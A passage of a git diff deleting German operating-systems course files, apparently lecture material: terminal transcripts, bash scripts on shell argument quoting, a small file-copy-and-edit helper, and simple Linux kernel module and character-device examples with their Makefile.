-4.19.0-12-amd64
-cassini/home/peter/bo/2022ss/bs/20220404> pwd
-/home/peter/bo/2022ss/bs/20220404
diff --git a/20220404/modules-1.txt b/20220404/modules-1.txt
deleted file mode 100644
index d0b19f27400f8df15bcb3f7054f98ac8a2407d08..0000000000000000000000000000000000000000
--- a/20220404/modules-1.txt
+++ /dev/null
@@ -1,33 +0,0 @@
--rw-r--r-- 1 peter peter  270648 Apr  4 14:19  hellomod-1.ko
-cassini/home/peter/bo/2022ss/bs/20220404> ./hellomod-1.ko
-bash: ./hellomod-1.ko: Keine Berechtigung
-cassini/home/peter/bo/2022ss/bs/20220404> chmod +x hellomod-1.ko
-cassini/home/peter/bo/2022ss/bs/20220404> ./hellomod-1.ko
-bash: ./hellomod-1.ko: Kann die Binärdatei nicht ausführen: Fehler im Format der Programmdatei
-cassini/home/peter/bo/2022ss/bs/20220404> chmod -x hellomod-1.ko
-cassini/home/peter/bo/2022ss/bs/20220404> insmod hellomod-1.ko
-bash: insmod: Kommando nicht gefunden.
-cassini/home/peter/bo/2022ss/bs/20220404> sudo insmod hellomod-1.ko
-[sudo] Passwort für peter:
-cassini/home/peter/bo/2022ss/bs/20220404> sudo rmmod hellomod-1.ko
-cassini/home/peter/bo/2022ss/bs/20220404> cat hellomod-1.c
-/*
- *  hello-1.c - The simplest kernel module.
- */
-#include <linux/module.h>       /* Needed by all modules */
-#include <linux/kernel.h>       /* Needed for KERN_INFO */
-
-int init_module(void)
-{
-        printk(KERN_INFO "Hello world 1.\n");
-
-        /*
-         * A non 0 return means init_module failed; module can't be loaded.
-         */
-        return 0;
-}
-
-void cleanup_module(void)
-{
-        printk(KERN_INFO "Goodbye world 1.\n");
-}
diff --git a/20220404/modules-2.txt b/20220404/modules-2.txt
deleted file mode 100644
index be8dd1125da58e01eb6ab1b40f9045dccd1400cb..0000000000000000000000000000000000000000
--- a/20220404/modules-2.txt
+++ /dev/null
@@ -1,8 +0,0 @@
-cassini/home/peter/bo/2022ss/bs/20220404> sudo dmesg
-[...]
-[1583119.050593] hellomod_1: loading out-of-tree module taints kernel.
-[1583119.050600] hellomod_1: module license 'unspecified' taints kernel.
-[1583119.050601] Disabling lock debugging due to kernel taint
-[1583119.050666] hellomod_1: module verification failed: signature and/or required key missing - tainting kernel
-[1583119.051455] Hello world 1.
-[1583136.476867] Goodbye world 1.
diff --git a/20220404/modules-3.txt b/20220404/modules-3.txt
deleted file mode 100644
index 2e92a6ca2c886b3b7b920d67ff636c2df6060563..0000000000000000000000000000000000000000
--- a/20220404/modules-3.txt
+++ /dev/null
@@ -1,4 +0,0 @@
-cassini/home/peter/bo/2022ss/bs/20220404> sudo dmesg
-[...]
-[1583551.529893] Hello world 2.
-[1583557.018894] Goodbye world 2.
diff --git a/20220404/modules-4.txt b/20220404/modules-4.txt
deleted file mode 100644
index 00b0a49562cef65640b80b7eecb3ecb21ce6f01e..0000000000000000000000000000000000000000
--- a/20220404/modules-4.txt
+++ /dev/null
@@ -1,6 +0,0 @@
-[1584035.731938] I was assigned major number 241. To talk to
-[1584035.731939] the driver, create a dev file with
-[1584035.731940] 'mknod /dev/chardev c 241 0'.
-[1584035.731940] Try various minor numbers. Try to cat and echo to
-[1584035.731941] the device file.
-[1584035.731941] Remove the device file and module when done.
diff --git a/20220404/modules-5.txt b/20220404/modules-5.txt
deleted file mode 100644
index a82d2ec284069fb1fe7448ca66847a5ddba9ee23..0000000000000000000000000000000000000000
--- a/20220404/modules-5.txt
+++ /dev/null
@@ -1,15 +0,0 @@
-cassini/home/peter/bo/2022ss/bs/20220404> mkdir dev
-cassini/home/peter/bo/2022ss/bs/20220404> mknod dev/chardev c 241 0
-mknod: dev/chardev: Die Operation ist nicht erlaubt
-cassini/home/peter/bo/2022ss/bs/20220404> sudo mknod dev/chardev c 241 0
-cassini/home/peter/bo/2022ss/bs/20220404> ls -l dev/
-insgesamt 0
-crw-r--r-- 1 root root 241, 0 Apr  4 14:39 chardev
-cassini/home/peter/bo/2022ss/bs/20220404> ls -l /dev/tty
-crw-rw-rw- 1 root tty 5, 0 Apr  4 14:22 /dev/tty
-cassini/home/peter/bo/2022ss/bs/20220404> cat dev/chardev
-I already told you 0 times Hello world!
-cassini/home/peter/bo/2022ss/bs/20220404> cat dev/chardev
-I already told you 1 times Hello world!
-cassini/home/peter/bo/2022ss/bs/20220404> cat dev/chardev
-I already told you 2 times Hello world!
diff --git a/20220404/nix-hello.c b/20220404/nix-hello.c
deleted file mode 100644
index cc2018703757a875b70c2aa3fd1a104d7e870301..0000000000000000000000000000000000000000
--- a/20220404/nix-hello.c
+++ /dev/null
@@ -1,15 +0,0 @@
-int main (void)
-{
-  char *p = (char *) 0xb8000000;
-  *p++ = 'H';
-  *p++ = 0x04;
-  *p++ = 'e';
-  *p++ = 0x02;
-  *p++ = 'l';
-  *p++ = 0x01;
-  *p++ = 'l';
-  *p++ = 0x06;
-  *p++ = 'o';
-  *p++ = 0x03;
-  return 0;
-}
diff --git a/20220404/os-layers-1.jpg b/20220404/os-layers-1.jpg
deleted file mode 120000
index 6dc99e9e12dbc84e908c37974c7d528be014d587..0000000000000000000000000000000000000000
--- a/20220404/os-layers-1.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/os-layers-1.jpg
\ No newline at end of file
diff --git a/20220404/os-layers-2.jpg b/20220404/os-layers-2.jpg
deleted file mode 120000
index 4da385ea396af0f9c7ed79b23a183a3b5618b445..0000000000000000000000000000000000000000
--- a/20220404/os-layers-2.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/os-layers-2.jpg
\ No newline at end of file
diff --git a/20220404/os-layers-3.jpg b/20220404/os-layers-3.jpg
deleted file mode 120000
index eaf5b599709e39d1c51dfdac28843c31b3fa971c..0000000000000000000000000000000000000000
--- a/20220404/os-layers-3.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/os-layers-3.jpg
\ No newline at end of file
diff --git a/20220404/os-layers-4.jpg b/20220404/os-layers-4.jpg
deleted file mode 120000
index efcbbd1827ff55f225fee0b77b8bfb5c6cff980c..0000000000000000000000000000000000000000
--- a/20220404/os-layers-4.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/os-layers-4.jpg
\ No newline at end of file
diff --git a/20220404/os-layers-5.jpg b/20220404/os-layers-5.jpg
deleted file mode 120000
index 91cabe9241f19ece833cb22e8f16587153f246a2..0000000000000000000000000000000000000000
--- a/20220404/os-layers-5.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/os-layers-5.jpg
\ No newline at end of file
diff --git a/20220404/parameters-1.sh b/20220404/parameters-1.sh
deleted file mode 100755
index fbb0a54825f43a77c0d894e2767ba12dd81b50dc..0000000000000000000000000000000000000000
--- a/20220404/parameters-1.sh
+++ /dev/null
@@ -1,3 +0,0 @@
-#!/bin/bash
-
-echo $*
diff --git a/20220404/parameters-1.txt b/20220404/parameters-1.txt
deleted file mode 100644
index cbf2ecc9ffbcb8e4059a835178851d8fc83c227f..0000000000000000000000000000000000000000
--- a/20220404/parameters-1.txt
+++ /dev/null
@@ -1,16 +0,0 @@
-#!/bin/bash
-
-echo $*
-cassini/home/peter/bo/2022ss/bs/20220404> chmod +x parameters-1.sh
-cassini/home/peter/bo/2022ss/bs/20220404> ./parameters-1.sh
-
-cassini/home/peter/bo/2022ss/bs/20220404> ./parameters-1.sh foo bar bas
-foo bar bas
-cassini/home/peter/bo/2022ss/bs/20220404> ./parameters-1.sh foo bar baz
-foo bar baz
-cassini/home/peter/bo/2022ss/bs/20220404> ./parameters-1.sh "Dies ist ein Test." "Dies auch."
-Dies ist ein Test. Dies auch.
-cassini/home/peter/bo/2022ss/bs/20220404> ./parameters-1.sh "Dies ist ein Test."                  "Dies    auch."
-Dies ist ein Test. Dies auch.
-cassini/home/peter/bo/2022ss/bs/20220404> ./parameters-1.sh   foo     bar            baz
-foo bar baz
diff --git a/20220404/parameters-2.sh b/20220404/parameters-2.sh
deleted file mode 100755
index a61f2bdc389c070844b088ba9b4a0e757f924b98..0000000000000000000000000000000000000000
--- a/20220404/parameters-2.sh
+++ /dev/null
@@ -1,4 +0,0 @@
-#!/bin/bash
-
-echo $#
-echo $*
diff --git a/20220404/parameters-3.sh b/20220404/parameters-3.sh
deleted file mode 100755
index 2f864f485c1772561a4cf09e01284e23d69b5e03..0000000000000000000000000000000000000000
--- a/20220404/parameters-3.sh
+++ /dev/null
@@ -1,6 +0,0 @@
-#!/bin/bash
-
-echo $#
-echo $*
-echo '$*'
-echo "$*"
diff --git a/20220404/parameters-3.txt b/20220404/parameters-3.txt
deleted file mode 100644
index fc72d524c4e88c350362683e32d7e72def1b49c7..0000000000000000000000000000000000000000
--- a/20220404/parameters-3.txt
+++ /dev/null
@@ -1,18 +0,0 @@
-#!/bin/bash
-
-echo $#
-echo $*
-echo '$*'
-echo "$*"
-cassini/home/peter/bo/2022ss/bs/20220404> ./parameters-3.sh
-0
-
-$*
-
-cassini/home/peter/bo/2022ss/bs/20220404> ./parameters-3.sh "Dies ist"    "ein     Test."
-2
-Dies ist ein Test.
-$*
-Dies ist ein     Test.
-cassini/home/peter/bo/2022ss/bs/20220404> echo Dies ist ein     Test.
-Dies ist ein Test.
diff --git a/20220404/parameters-4.sh b/20220404/parameters-4.sh
deleted file mode 100755
index 5cf5261f3552329f9a7a8405b23fa74fa4b31877..0000000000000000000000000000000000000000
--- a/20220404/parameters-4.sh
+++ /dev/null
@@ -1,5 +0,0 @@
-#!/bin/bash
-
-for f in $*; do
-  echo "Mache was mit der Datei \"$f\""
-done
diff --git a/20220404/parameters-4.txt b/20220404/parameters-4.txt
deleted file mode 100644
index 2149e953a40805d4a5d649b3b3224de35c9fd561..0000000000000000000000000000000000000000
--- a/20220404/parameters-4.txt
+++ /dev/null
@@ -1,18 +0,0 @@
-#!/bin/bash
-
-for f in $*; do
-  echo "Mache was mit der Datei \"$f\""
-done
-cassini/home/peter/bo/2022ss/bs/20220404> ./parameters-4.sh hello*.c
-Mache was mit der Datei "hello-1.c"
-Mache was mit der Datei "hello-2.c"
-cassini/home/peter/bo/2022ss/bs/20220404> ln -s hello-1.c "hello world.c"
-cassini/home/peter/bo/2022ss/bs/20220404> ln -s hello-2.c "hello world 2.c"
-cassini/home/peter/bo/2022ss/bs/20220404> ls hello\ *.c
-'hello world 2.c'  'hello world.c'
-cassini/home/peter/bo/2022ss/bs/20220404> ./parameters-4.sh hello\ *.c
-Mache was mit der Datei "hello"
-Mache was mit der Datei "world"
-Mache was mit der Datei "2.c"
-Mache was mit der Datei "hello"
-Mache was mit der Datei "world.c"
diff --git a/20220404/parameters-5.sh b/20220404/parameters-5.sh
deleted file mode 100755
index 3b41d8c48785e7736d654ba96ee9d830ef500f34..0000000000000000000000000000000000000000
--- a/20220404/parameters-5.sh
+++ /dev/null
@@ -1,5 +0,0 @@
-#!/bin/bash
-
-for f in "$*"; do
-  echo "Mache was mit der Datei \"$f\""
-done
diff --git a/20220404/parameters-5.txt b/20220404/parameters-5.txt
deleted file mode 100644
index 7617011416473f65e081db99e405d8b50fefd877..0000000000000000000000000000000000000000
--- a/20220404/parameters-5.txt
+++ /dev/null
@@ -1,10 +0,0 @@
-cassini/home/peter/bo/2022ss/bs/20220404> cat parameters-5.sh 
-#!/bin/bash
-
-for f in "$*"; do
-  echo "Mache was mit der Datei \"$f\""
-done
-cassini/home/peter/bo/2022ss/bs/20220404> ./parameters-5.sh hello\ *.c
-Mache was mit der Datei "hello world 2.c hello world.c"
-cassini/home/peter/bo/2022ss/bs/20220404> ls hello\ *.c
-'hello world 2.c'  'hello world.c'
diff --git a/20220404/parameters-6.sh b/20220404/parameters-6.sh
deleted file mode 100755
index e290f9534c8108d4915950882ff61a404e993fce..0000000000000000000000000000000000000000
--- a/20220404/parameters-6.sh
+++ /dev/null
@@ -1,5 +0,0 @@
-#!/bin/bash
-
-for f in "$@"; do
-  echo "Mache was mit der Datei \"$f\""
-done
diff --git a/20220404/parameters-6.txt b/20220404/parameters-6.txt
deleted file mode 100644
index 4ced617f321e38668c3f7ee030b9eeed8b9d312e..0000000000000000000000000000000000000000
--- a/20220404/parameters-6.txt
+++ /dev/null
@@ -1,11 +0,0 @@
-#!/bin/bash
-
-for f in "$@"; do
-  echo "Mache was mit der Datei \"$f\""
-done
-cassini/home/peter/bo/2022ss/bs/20220404> ./parameters-6.sh hello\ *.c
-Mache was mit der Datei "hello world 2.c"
-Mache was mit der Datei "hello world.c"
-cassini/home/peter/bo/2022ss/bs/20220404> ./parameters-6.sh     "Dies ist"   "ein    Test."
-Mache was mit der Datei "Dies ist"
-Mache was mit der Datei "ein    Test."
diff --git a/20220404/parameters-7.sh b/20220404/parameters-7.sh
deleted file mode 100755
index d4a4cac22c5ad0bd50b22a407701d2777bccabbf..0000000000000000000000000000000000000000
--- a/20220404/parameters-7.sh
+++ /dev/null
@@ -1,6 +0,0 @@
-#!/bin/bash
-
-while [ -n "$1" ]; do
-  echo "Mache was mit der Datei \"$1\""
-  shift
-done
diff --git a/20220404/parameters-7.txt b/20220404/parameters-7.txt
deleted file mode 100644
index 8917cd3e9437739c50782d9de4ec07ce68645cee..0000000000000000000000000000000000000000
--- a/20220404/parameters-7.txt
+++ /dev/null
@@ -1,9 +0,0 @@
-#!/bin/bash
-
-while [ -n "$1" ]; do
-  echo "Mache was mit der Datei \"$1\""
-  shift
-done
-cassini/home/peter/bo/2022ss/bs/20220404> ./parameters-7.sh     "Dies ist"   "ein    Test."
-Mache was mit der Datei "Dies ist"
-Mache was mit der Datei "ein    Test."
diff --git a/20220404/philosophy.c b/20220404/philosophy.c
deleted file mode 100644
index e9f508a501d9ec66d02e0636a9f6c71f2c7a8594..0000000000000000000000000000000000000000
--- a/20220404/philosophy.c
+++ /dev/null
@@ -1,8 +0,0 @@
-#include <stdio.h>
-#include "answer.h"
-
-int main (void)
-{
-  printf ("The answer is %d.\n", answer ());
-  return 0;
-}
diff --git a/20220404/screenshot-20220404-122759.png b/20220404/screenshot-20220404-122759.png
deleted file mode 100644
index 3ab65322c56c233daa8a2c08e39974c2e6e2992b..0000000000000000000000000000000000000000
Binary files a/20220404/screenshot-20220404-122759.png and /dev/null differ
diff --git a/20220404/screenshot-20220404-123432.png b/20220404/screenshot-20220404-123432.png
deleted file mode 100644
index 7b61806b48dbf6eed3757bd061fca6e4658300ef..0000000000000000000000000000000000000000
Binary files a/20220404/screenshot-20220404-123432.png and /dev/null differ
diff --git a/20220404/screenshot-20220404-132001.png b/20220404/screenshot-20220404-132001.png
deleted file mode 100644
index 6e509ea1c93b3d50476d6ed1cefb8290ee1e8c7c..0000000000000000000000000000000000000000
Binary files a/20220404/screenshot-20220404-132001.png and /dev/null differ
diff --git a/20220404/screenshot-20220404-132021.png b/20220404/screenshot-20220404-132021.png
deleted file mode 100644
index 5c585e5d896403f4fc05923cfda2f593c5a57787..0000000000000000000000000000000000000000
Binary files a/20220404/screenshot-20220404-132021.png and /dev/null differ
diff --git a/20220404/vic b/20220404/vic
deleted file mode 100755
index 063daa1366b11b0914121af554892a2e2c68183f..0000000000000000000000000000000000000000
--- a/20220404/vic
+++ /dev/null
@@ -1,39 +0,0 @@
-#!/bin/bash
-
-debug=false
-
-if [ $# -gt 0 ]; then
-  $debug && echo "parameters = $@"
-  shift $(( $# - 1 ))
-  file_template="$1"
-else
-  file_template=$(ls -rt *.c *.cpp *.sh *.py *.tex *.diff 2>/dev/null | tail -1)
-fi
-
-$debug && echo "file_template = $file_template"
-
-file_extension=$(echo $file_template | sed -e 's/.*\.\(.*$\)/\1/')
-file_base=$(echo $file_template | sed -e 's/\(.*\)\..*$/\1/')
-
-$debug && echo "file_extension = $file_extension"
-$debug && echo "file_base = $file_base"
-
-file_number=$(echo $file_base | sed -e 's/^.*-\([0-9]*$\)/\1/')
-file_stem=$(echo $file_base | sed -e 's/^\(.*\)-[0-9]*$/\1/')
-
-$debug && echo "file_number = $file_number"
-$debug && echo "file_number = $file_stem"
-
-while [ -e "$file_stem-$file_number.$file_extension" ]; do
-  file_number=$((file_number + 1))
-done
-new_file_name="$file_stem-$file_number.$file_extension"
-
-$debug && echo "new_file_name = $new_file_name" && read junk
-
-cp -pi "$file_template" "$new_file_name"
-#$EDITOR "$new_file_name"
-/usr/bin/vim -X -c 'set sw=2' -c 'set expandtab' -c 'set ai' -c 'set nowrap' \
-  "$new_file_name"
-clear
-cat "$new_file_name"
diff --git a/20220404/vic-1.txt b/20220404/vic-1.txt
deleted file mode 100644
index 18ddfa2f2d0e534b7a4cda2540374142ffd60297..0000000000000000000000000000000000000000
--- a/20220404/vic-1.txt
+++ /dev/null
@@ -1,17 +0,0 @@
-cassini/home/peter/bo/2022ss/bs/20220404> file_template=$(ls -rt *.c *.cpp *.sh *.py *.tex *.diff 2>/dev/null | tail -1)
-cassini/home/peter/bo/2022ss/bs/20220404> echo $file_template 
-parameters-7.sh
-cassini/home/peter/bo/2022ss/bs/20220404> ls -rt *.c *.cpp *.sh *.py *.tex *.diff 2>/dev/null | tail -1
-parameters-7.sh
-cassini/home/peter/bo/2022ss/bs/20220404> ls -rt *.c *.cpp *.sh *.py *.tex *.diff 2>/dev/null
- hello-1.c         parameters-2.sh  'hello world.c'     parameters-6.sh
- hello-2.c         parameters-3.sh  'hello world 2.c'   parameters-7.sh
- parameters-1.sh   parameters-4.sh   parameters-5.sh
-cassini/home/peter/bo/2022ss/bs/20220404> ls -rt *.c *.cpp *.sh *.py *.tex *.diff
-ls: Zugriff auf '*.cpp' nicht möglich: Datei oder Verzeichnis nicht gefunden
-ls: Zugriff auf '*.py' nicht möglich: Datei oder Verzeichnis nicht gefunden
-ls: Zugriff auf '*.tex' nicht möglich: Datei oder Verzeichnis nicht gefunden
-ls: Zugriff auf '*.diff' nicht möglich: Datei oder Verzeichnis nicht gefunden
- hello-1.c         parameters-2.sh  'hello world.c'     parameters-6.sh
- hello-2.c         parameters-3.sh  'hello world 2.c'   parameters-7.sh
- parameters-1.sh   parameters-4.sh   parameters-5.sh
diff --git a/20220404/vic-2.txt b/20220404/vic-2.txt
deleted file mode 100644
index 242f081fdb9c21a61737cadecc9482666ae847f7..0000000000000000000000000000000000000000
--- a/20220404/vic-2.txt
+++ /dev/null
@@ -1,47 +0,0 @@
-#!/bin/bash
-
-debug=true
-
-if [ $# -gt 0 ]; then
-  $debug && echo "parameters = $@"
-  shift $(( $# - 1 ))
-  file_template="$1"
-else
-  file_template=$(ls -rt *.c *.cpp *.sh *.py *.tex *.diff 2>/dev/null | tail -1)
-fi
-
-$debug && echo "file_template = $file_template"
-
-file_extension=$(echo $file_template | sed -e 's/.*\.\(.*$\)/\1/')
-file_base=$(echo $file_template | sed -e 's/\(.*\)\..*$/\1/')
-
-$debug && echo "file_extension = $file_extension"
-$debug && echo "file_base = $file_base"
-
-file_number=$(echo $file_base | sed -e 's/^.*-\([0-9]*$\)/\1/')
-file_stem=$(echo $file_base | sed -e 's/^\(.*\)-[0-9]*$/\1/')
-
-$debug && echo "file_number = $file_number"
-$debug && echo "file_number = $file_stem"
-
-while [ -e "$file_stem-$file_number.$file_extension" ]; do
-  file_number=$((file_number + 1))
-done
-new_file_name="$file_stem-$file_number.$file_extension"
-
-$debug && echo "new_file_name = $new_file_name" && read junk
-
-cp -pi "$file_template" "$new_file_name"
-#$EDITOR "$new_file_name"
-/usr/bin/vim -X -c 'set sw=2' -c 'set expandtab' -c 'set ai' -c 'set nowrap' \
-  "$new_file_name"
-clear
-cat "$new_file_name"
-cassini/home/peter/bo/2022ss/bs/20220404> ./vic
-file_template = parameters-7.sh
-file_extension = sh
-file_base = parameters-7
-file_number = 7
-file_number = parameters
-new_file_name = parameters-8.sh
-^C
diff --git a/20220404/vicat b/20220404/vicat
deleted file mode 100755
index c3565c648e9320f871f275b135cef86d4c918ebd..0000000000000000000000000000000000000000
--- a/20220404/vicat
+++ /dev/null
@@ -1,5 +0,0 @@
-#!/bin/bash
-/usr/bin/vim -X -c 'set sw=2' -c 'set expandtab' -c 'set ai' -c 'set nowrap' "$@"
-clear
-shift $(( $# - 1 ))
-cat "$1"
diff --git a/20220411/Makefile b/20220411/Makefile
deleted file mode 120000
index 5ce401dd46fbd7266779a960b7ddfda0197b3a70..0000000000000000000000000000000000000000
--- a/20220411/Makefile
+++ /dev/null
@@ -1 +0,0 @@
-Makefile-modules
\ No newline at end of file
diff --git a/20220411/Makefile-modules b/20220411/Makefile-modules
deleted file mode 100644
index 3c490d6fffff190bc59a16ebdd38ffdab1348d2c..0000000000000000000000000000000000000000
--- a/20220411/Makefile-modules
+++ /dev/null
@@ -1,9 +0,0 @@
-obj-m += chardev-1.o
-obj-m += chardev-2.o
-obj-m += chardev-3.o
-
-all:
-	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
-
-clean:
-	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
diff --git a/20220411/cat-chardev-1.c b/20220411/cat-chardev-1.c
deleted file mode 100644
index 2e6bb3c88d55b11996f1f72ca6d010e441f8b9b7..0000000000000000000000000000000000000000
--- a/20220411/cat-chardev-1.c
+++ /dev/null
@@ -1,12 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  char buffer[100];
-  FILE *f = fopen ("dev/chardev", "r");
-  fgets (buffer, 100, stdin);
-  fgets (buffer, 100, f);
-  printf ("%s\n", buffer);
-  fclose (f);
-  return 0;
-}
diff --git a/20220411/cat-chardev-2.c b/20220411/cat-chardev-2.c
deleted file mode 100644
index 7e2ceb9b8c0d94d18e86044fc516896aefbde3a5..0000000000000000000000000000000000000000
--- a/20220411/cat-chardev-2.c
+++ /dev/null
@@ -1,16 +0,0 @@
-#include <stdio.h>
-#include <error.h>
-#include <errno.h>
-
-int main (void)
-{
-  char buffer[100];
-  FILE *f = fopen ("dev/chardev", "r");
-  if (!f)
-    error (errno, errno, "could not open dev/chardev");
-  fgets (buffer, 100, stdin);
-  fgets (buffer, 100, f);
-  printf ("%s\n", buffer);
-  fclose (f);
-  return 0;
-}
diff --git a/20220411/chardev-1.c b/20220411/chardev-1.c
deleted file mode 100644
index f89459b69968c15a25de986615b329fc3d339a66..0000000000000000000000000000000000000000
--- a/20220411/chardev-1.c
+++ /dev/null
@@ -1,166 +0,0 @@
-/*
- *  chardev.c: Creates a read-only char device that says how many times
- *  you've read from the dev file
- */
-
-#include <linux/kernel.h>
-#include <linux/module.h>
-#include <linux/fs.h>
-#include <asm/uaccess.h>	/* for put_user */
-
-/*  
- *  Prototypes - this would normally go in a .h file
- */
-int init_module(void);
-void cleanup_module(void);
-static int device_open(struct inode *, struct file *);
-static int device_release(struct inode *, struct file *);
-static ssize_t device_read(struct file *, char *, size_t, loff_t *);
-static ssize_t device_write(struct file *, const char *, size_t, loff_t *);
-
-#define SUCCESS 0
-#define DEVICE_NAME "chardev"	/* Dev name as it appears in /proc/devices   */
-#define BUF_LEN 80		/* Max length of the message from the device */
-
-/* 
- * Global variables are declared as static, so are global within the file. 
- */
-
-static int Major;		/* Major number assigned to our device driver */
-static int Device_Open = 0;	/* Is device open?  
-				 * Used to prevent multiple access to device */
-static char msg[BUF_LEN];	/* The msg the device will give when asked */
-static char *msg_Ptr;
-
-static struct file_operations fops = {
-	.read = device_read,
-	.write = device_write,
-	.open = device_open,
-	.release = device_release
-};
-
-/*
- * This function is called when the module is loaded
- */
-int init_module(void)
-{
-        Major = register_chrdev(0, DEVICE_NAME, &fops);
-
-	if (Major < 0) {
-	  printk(KERN_ALERT "Registering char device failed with %d\n", Major);
-	  return Major;
-	}
-
-	printk(KERN_INFO "I was assigned major number %d. To talk to\n", Major);
-	printk(KERN_INFO "the driver, create a dev file with\n");
-	printk(KERN_INFO "'mknod /dev/%s c %d 0'.\n", DEVICE_NAME, Major);
-	printk(KERN_INFO "Try various minor numbers. Try to cat and echo to\n");
-	printk(KERN_INFO "the device file.\n");
-	printk(KERN_INFO "Remove the device file and module when done.\n");
-
-	return SUCCESS;
-}
-
-/*
- * This function is called when the module is unloaded
- */
-void cleanup_module(void)
-{
-	/* 
-	 * Unregister the device 
-	 */
-	unregister_chrdev(Major, DEVICE_NAME);
-}
-
-/*
- * Methods
- */
-
-/* 
- * Called when a process tries to open the device file, like
- * "cat /dev/mycharfile"
- */
-static int device_open(struct inode *inode, struct file *file)
-{
-	static int counter = 0;
-
-	if (Device_Open)
-		return -EBUSY;
-
-	Device_Open++;
-	sprintf(msg, "I already told you %d times Hello world!\n", counter++);
-	msg_Ptr = msg;
-	try_module_get(THIS_MODULE);
-
-	return SUCCESS;
-}
-
-/* 
- * Called when a process closes the device file.
- */
-static int device_release(struct inode *inode, struct file *file)
-{
-	Device_Open--;		/* We're now ready for our next caller */
-
-	/* 
-	 * Decrement the usage count, or else once you opened the file, you'll
-	 * never get get rid of the module. 
-	 */
-	module_put(THIS_MODULE);
-
-	return 0;
-}
-
-/* 
- * Called when a process, which already opened the dev file, attempts to
- * read from it.
- */
-static ssize_t device_read(struct file *filp,	/* see include/linux/fs.h   */
-			   char *buffer,	/* buffer to fill with data */
-			   size_t length,	/* length of the buffer     */
-			   loff_t *offset)
-{
-	/*
-	 * Number of bytes actually written to the buffer 
-	 */
-	int bytes_read = 0;
-
-	/*
-	 * If we're at the end of the message, 
-	 * return 0 signifying end of file 
-	 */
-	if (*msg_Ptr == 0)
-		return 0;
-
-	/* 
-	 * Actually put the data into the buffer 
-	 */
-	while (length && *msg_Ptr) {
-
-		/* 
-		 * The buffer is in the user data segment, not the kernel 
-		 * segment so "*" assignment won't work.  We have to use 
-		 * put_user which copies data from the kernel data segment to
-		 * the user data segment. 
-		 */
-		put_user(*(msg_Ptr++), buffer++);
-
-		length--;
-		bytes_read++;
-	}
-
-	/* 
-	 * Most read functions return the number of bytes put into the buffer
-	 */
-	return bytes_read;
-}
-
-/*  
- * Called when a process writes to dev file: echo "hi" > /dev/hello 
- */
-static ssize_t
-device_write(struct file *filp, const char *buff, size_t len, loff_t * off)
-{
-	printk(KERN_ALERT "Sorry, this operation isn't supported.\n");
-	return -EINVAL;
-}
diff --git a/20220411/chardev-2.c b/20220411/chardev-2.c
deleted file mode 100644
index b86c6d0dbf1636416ed36d724a7c0bc84f200121..0000000000000000000000000000000000000000
--- a/20220411/chardev-2.c
+++ /dev/null
@@ -1,183 +0,0 @@
-/*
- *  chardev.c: Creates a read-only char device that says how many times
- *  you've read from the dev file
- */
-
-#include <linux/kernel.h>
-#include <linux/module.h>
-#include <linux/device.h>
-#include <linux/fs.h>
-#include <asm/uaccess.h>	/* for put_user */
-
-/*  
- *  Prototypes - this would normally go in a .h file
- */
-int init_module(void);
-void cleanup_module(void);
-static int device_open(struct inode *, struct file *);
-static int device_release(struct inode *, struct file *);
-static ssize_t device_read(struct file *, char *, size_t, loff_t *);
-static ssize_t device_write(struct file *, const char *, size_t, loff_t *);
-
-struct class *dev_Class;
-struct device *chr_dev;
-
-#define SUCCESS 0
-#define DEVICE_NAME "chardev"	/* Dev name as it appears in /proc/devices   */
-#define BUF_LEN 80		/* Max length of the message from the device */
-
-/* 
- * Global variables are declared as static, so are global within the file. 
- */
-
-static int Major;		/* Major number assigned to our device driver */
-static int Device_Open = 0;	/* Is device open?  
-				 * Used to prevent multiple access to device */
-static char msg[BUF_LEN];	/* The msg the device will give when asked */
-static char *msg_Ptr;
-
-static struct file_operations fops = {
-	.read = device_read,
-	.write = device_write,
-	.open = device_open,
-	.release = device_release
-};
-
-/*
- * This function is called when the module is loaded
- */
-int init_module(void)
-{
-        Major = register_chrdev(0, DEVICE_NAME, &fops);
-
-	if (Major < 0) {
-	  printk(KERN_ALERT "Registering char device failed with %d\n", Major);
-	  return Major;
-	}
-
-        // Create module class
-        printk(KERN_INFO "Creating device class ...\n");
-        dev_Class = class_create(THIS_MODULE,DEVICE_NAME);
-        if( dev_Class == NULL)
-        {
-            printk( KERN_ALERT "Error! Class couldn't be created!\n" );
-            return 1 ;
-        }
-        printk( KERN_INFO "Class created!\n" );
-        // Create device in /dev/...
-        printk(KERN_INFO "Creating device\n");
-        chr_dev = device_create(dev_Class, NULL, MKDEV(Major,0), NULL, DEVICE_NAME);
-
-	printk(KERN_INFO "I was assigned major number %d. To talk to\n", Major);
-	printk(KERN_INFO "the driver, create a dev file with\n");
-	printk(KERN_INFO "'mknod /dev/%s c %d 0'.\n", DEVICE_NAME, Major);
-	printk(KERN_INFO "Try various minor numbers. Try to cat and echo to\n");
-	printk(KERN_INFO "the device file.\n");
-	printk(KERN_INFO "Remove the device file and module when done.\n");
-
-	return SUCCESS;
-}
-
-/*
- * This function is called when the module is unloaded
- */
-void cleanup_module(void)
-{
-	/* 
-	 * Unregister the device 
-	 */
-	unregister_chrdev(Major, DEVICE_NAME);
-}
-
-/*
- * Methods
- */
-
-/* 
- * Called when a process tries to open the device file, like
- * "cat /dev/mycharfile"
- */
-static int device_open(struct inode *inode, struct file *file)
-{
-	static int counter = 0;
-
-	if (Device_Open)
-		return -EBUSY;
-
-	Device_Open++;
-	sprintf(msg, "I already told you %d times Hello world!\n", counter++);
-	msg_Ptr = msg;
-	try_module_get(THIS_MODULE);
-
-	return SUCCESS;
-}
-
-/* 
- * Called when a process closes the device file.
- */
-static int device_release(struct inode *inode, struct file *file)
-{
-	Device_Open--;		/* We're now ready for our next caller */
-
-	/* 
-	 * Decrement the usage count, or else once you opened the file, you'll
-	 * never get get rid of the module. 
-	 */
-	module_put(THIS_MODULE);
-
-	return 0;
-}
-
-/* 
- * Called when a process, which already opened the dev file, attempts to
- * read from it.
- */
-static ssize_t device_read(struct file *filp,	/* see include/linux/fs.h   */
-			   char *buffer,	/* buffer to fill with data */
-			   size_t length,	/* length of the buffer     */
-			   loff_t * offset)
-{
-	/*
